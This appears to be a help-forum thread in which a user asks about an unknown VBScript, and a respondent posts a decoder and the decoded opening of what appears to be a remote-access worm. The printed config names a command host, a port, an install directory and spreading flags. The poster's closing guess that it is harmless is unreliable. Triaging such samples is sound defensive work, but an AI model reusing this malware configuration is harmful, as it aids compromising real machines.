Jump to content

Sky Slate Blueberry Blackcurrant Watermelon Strawberry Orange Banana Apple Emerald Chocolate

Need help determining what a script does

  • Please log in to reply
2 replies to this topic
  • New members
  • 2 posts
  • Last active: Sep 06 2015 01:19 AM
  • Joined: 04 Sep 2015

I found a random script running on my computer in the task manager through VBscript and I have no idea how it got there since I don't even know how to script can someone tell me what it does? Also I don't know if it's worth noting that when I tried deleting the script along with some other random files in the folder my computer told me they didn't exist then they dissapeared so I don't know if they moved somewhere else on my computer?




and another pastebin with all the random sleeps removed



  • Members
  • 520 posts
  • Last active:
  • Joined: 12 Aug 2014
If you save the numbers and the + chars from that very long line EHSHSH = in the script to file.txt and run this AutoHotkey script below it will decode the script -
FileRead, data, file.txt

Loop, parse, data, +
	output .= Chr(A_LoopField+4)

FileDelete, file2.txt
FileAppend, %output%, file2.txt
this is the start of the decoded script so it seems to be chrome plugin related - perhaps that does ring a bell

<[ recoder : houdini © skype : houdini-fx ]>

'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=

host = "chromeplugins.mooo.com"
port = 155
installdir = "%temp%"
lnkfile = true
lnkfolder = true

'=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=

dim shellobj
set shellobj = wscript.createobject("wscript.shell")
dim filesystemobj
set filesystemobj = createobject("scripting.filesystemobject")
dim httpobj
set httpobj = createobject("msxml2.xmlhttp")

  • New members
  • 2 posts
  • Last active: Sep 06 2015 01:19 AM
  • Joined: 04 Sep 2015

Ok, thanks I don't use chrome so I'm not really sure what it was, however not to long ago I downloaded some flash games so I'm assuming maybe one of them just used the script to open itself in chrome or something.